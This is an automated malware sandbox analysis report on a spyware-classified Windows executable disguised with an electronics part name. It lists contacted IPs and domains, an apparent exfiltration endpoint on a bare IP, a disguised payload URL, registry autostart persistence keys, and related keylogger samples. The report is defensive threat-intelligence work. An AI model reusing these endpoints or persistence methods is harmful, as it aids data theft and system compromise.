https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000445E000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004602000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004725000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000462D000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004489000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://vccmd03.googlecode.com/files/cmsys.gif#	explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/write-for-us/	cmsys.cmn.4.dr	false		unknown
http://vccmd03.googlecode.com/files/cmsys.gif(	explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/#	explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966822467.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1967981493.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://zxq.net/#organization	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2	explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.0000000000786000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black.png	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://www.fontbureau.com/designersG	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/news/business/	cmsys.cmn.4.dr	false		unknown
http://www.fontbureau.com/designers/?	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://yoast.com/wordpress/plugins/seo/	explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.0000000000786000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/top-modern-security-devices-to-install-in-your-home/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/mastering-renovations-key-ideas-to-prevent-common-mistakes-in-singapore-homes/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2024/09/Essential-Renovation	explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-450x253.png	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://www.tiro.com	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/what-happened-to-the-old-zxq-website/Q	explorer.exe, 00000004.00000003.1966750322.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004626000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004674000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000034AB000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004482000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044D0000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044F7000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000474A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/essential-renovation-tips-for-singapore-homes-sidestep-these-common-mistakes/	cmsys.cmn.4.dr	false		unknown
http://www.goodfont.co.kr	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/what-happened-to-the-old-zxq-website/H	explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966822467.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1967981493.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/xmlrpc.php?rsd	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847892635.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/news/	cmsys.cmn.4.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
173.194.76.82	unknown	United States	15169	GOOGLEUS	false
64.233.184.82	googlecode.l.googleusercontent.com	United States	15169	GOOGLEUS	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
51.81.194.202	zxq.net	United States	16276	OVHFR	true
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1530642
Start date and time:	2024-10-10 10:11:40 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	69
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@250/28@26/8
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 98% Number of executed functions: 99 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 93.184.221.240, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target adsp-21593bbpz10 analog devices, inc. 5000.exe , PID 7860 because it is empty
Execution Graph export aborted for target svchost.exe, PID 7188 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:12:32	API Interceptor	146x Sleep call for process: svchost.exe modified
04:12:33	API Interceptor	1687x Sleep call for process: explorer.exe modified
04:12:35	API Interceptor	1163300x Sleep call for process: adsp-21593bbpz10 analog devices, inc. 5000.exe modified
04:12:38	API Interceptor	15x Sleep call for process: powershell.exe modified
09:12:35	Autostart	Run: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Explorer c:\windows\system\explorer.exe RO
09:12:45	Autostart	Run: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Svchost c:\windows\system\svchost.exe RO
09:13:02	Autostart	Run: WinLogon Shell C:\Windows\explorer.exe
09:13:11	Autostart	Run: WinLogon Shell c:\windows\system\explorer.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	#U8a62#U50f9 (RFQ) -RFQ20241010.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	p61Wb0tocl.exe	Get hash	malicious	XWorm	Browse
	sUdsWh0FL4.exe	Get hash	malicious	XWorm	Browse
	1yvSMiC8Jt.exe	Get hash	malicious	XWorm	Browse
	Dan's sus QR code.png	Get hash	malicious	Unknown	Browse
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	h9nuWiQZi6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	MiLa0yslQQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	7DI4iYwcvw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.96.3	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	www.airgame.store/ojib/
	Hesap-hareketleriniz.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/59fb/
	octux.exe.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	bX8NyyjOFz.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2uvi/
	lWfpGAu3ao.exe	Get hash	malicious	FormBook	Browse	www.serverplay.live/71nl/
	sa7Bw41TUq.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	E_receipt.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/VO2TX
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/fOmsJ2bL/download
	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	www.thetahostthe.top/9r5x/
	RFQ 245801.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?9rm4ULV=iDjdFcjw5QZJ8NeJJL4ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+m2NwmP2xDXw&D4hl2=fT-dvVK08nUDKdF
51.81.194.202	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	vccmd01.zxq.net/cmsys.gif
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	vccmd01.zxq.net/cmsys.gif
	LisectAVT_2403002B_401.exe	Get hash	malicious	CryptOne	Browse	xrcmd01.zxq.net/cmsys.gif
	LisectAVT_2403002B_437.exe	Get hash	malicious	CryptOne	Browse	vccmd01.zxq.net/cmsys.gif
	E6BA0CFA-EE50-4631-8FEC-4CD80E9E2189_06142024215103589.exe	Get hash	malicious	CryptOne	Browse	vccmd01.zxq.net/cmsys.gif
	1ptg18pvgv.exe	Get hash	malicious	CryptOne, Neshta	Browse	vccmd01.zxq.net/cmsys.gif
	2LfSD1iMxK.exe	Get hash	malicious	CryptOne	Browse	vccmd01.zxq.net/cmsys.gif
	EOCFTL.exe	Get hash	malicious	CryptOne	Browse	vccmd01.zxq.net/cmsys.gif
	Para_Transferi_Bilgilendirmesi-dekont.exe	Get hash	malicious	CryptOne, AgentTesla, zgRAT	Browse	vccmd01.zxq.net/cmsys.gif
	FAT8767890098765.exe	Get hash	malicious	CryptOne, Remcos	Browse	vccmd01.zxq.net/cmsys.gif

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	#U8a62#U50f9 (RFQ) -RFQ20241010.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.Win32.DropperX-gen.28977.28876.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	z27PAYMENT.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	4a2jSwxrJU.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	h9nuWiQZi6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	bpdv3trzkv.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	MiLa0yslQQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	7DI4iYwcvw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
zxq.net	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	51.81.194.202
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	LisectAVT_2403002B_401.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	LisectAVT_2403002B_437.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	E6BA0CFA-EE50-4631-8FEC-4CD80E9E2189_06142024215103589.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	1ptg18pvgv.exe	Get hash	malicious	CryptOne, Neshta	Browse	51.81.194.202
	2LfSD1iMxK.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	EOCFTL.exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	wJ5fr6j24t.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	185.196.8.22
	Para_Transferi_Bilgilendirmesi-dekont.exe	Get hash	malicious	CryptOne, AgentTesla, zgRAT	Browse	51.81.194.202
api.telegram.org	#U8a62#U50f9 (RFQ) -RFQ20241010.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	p61Wb0tocl.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	sUdsWh0FL4.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	1yvSMiC8Jt.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	Dan's sus QR code.png	Get hash	malicious	Unknown	Browse	149.154.167.220
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	h9nuWiQZi6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MiLa0yslQQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7DI4iYwcvw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	#U8a62#U50f9 (RFQ) -RFQ20241010.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	p61Wb0tocl.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	sUdsWh0FL4.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	1yvSMiC8Jt.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	Dan's sus QR code.png	Get hash	malicious	Unknown	Browse	149.154.167.220
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	h9nuWiQZi6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MiLa0yslQQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7DI4iYwcvw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	https://or4t.iednationusa.com/sYyRdjOU	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://ia600101.us.archive.org/1/items/detah-note-j_202410/DetahNote_J.jpg	Get hash	malicious	Unknown	Browse	1.1.1.1
	Documents.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PAYMENT ADVISE#9879058.exe	Get hash	malicious	FormBook	Browse	104.21.11.31
	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://w7950.app.blinkops.com	Get hash	malicious	Unknown	Browse	104.26.2.186
	Hesap-hareketleriniz.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	Inquiry N TM24-10-09.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	104.21.53.112
	hlyG1m5UmO.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.56.70
	Salary Increase Letter_Oct 2024.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.2.6
OVHFR	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse	144.217.158.133
	RFQ REF-JTCAJC-QINHP5-TIS-L0009- (AL DHAFRA) AL JABER - SUPPLY.exe	Get hash	malicious	FormBook	Browse	51.195.62.41
	https://event.stibee.com/v2/click/NDA4MDIvMjQzOTA2MS80OTAyMzcv/aHR0cHM6Ly9uLm5ld3MubmF2ZXIuY29tL21uZXdzL2FydGljbGUvMDI1LzAwMDMzOTE2NDc_c2lkPTEwMQ	Get hash	malicious	Unknown	Browse	51.89.9.254
	https://issuu.com/ryanrodger/docs/smn8263528?fr=sMTQ5NTc4NTgxNDc	Get hash	malicious	Unknown	Browse	51.89.9.254
	https://www.fsist.com.br	Get hash	malicious	Unknown	Browse	51.89.9.251
	https://www.mediafire.com/file/dl1ll51b96z8hcb/paginas_para_descargar_Vectores_gratis_2018.zip/file	Get hash	malicious	Unknown	Browse	178.32.197.53
	PO#001498.exe	Get hash	malicious	FormBook	Browse	5.39.10.93
	XEchx2Sgel.exe	Get hash	malicious	FormBook	Browse	54.37.173.127
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	54.38.220.85
	na.elf	Get hash	malicious	Mirai	Browse	51.195.151.75
UTMEMUS	#U8a62#U50f9 (RFQ) -RFQ20241010.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.Win32.DropperX-gen.28977.28876.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	4a2jSwxrJU.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	h9nuWiQZi6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	ZH0pJV4XmV.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse	132.226.247.73
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://or4t.iednationusa.com/sYyRdjOU	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
	https://w7950.app.blinkops.com	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
	Tech. Data Sheet For synchonmotors-KEBA Industrial Automation Germany GmbH..html	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
	https://allpremio.privatepilot.de/allpremio/zdf	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
	https://aboriginal-investment-proposal.squarespace.com/	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
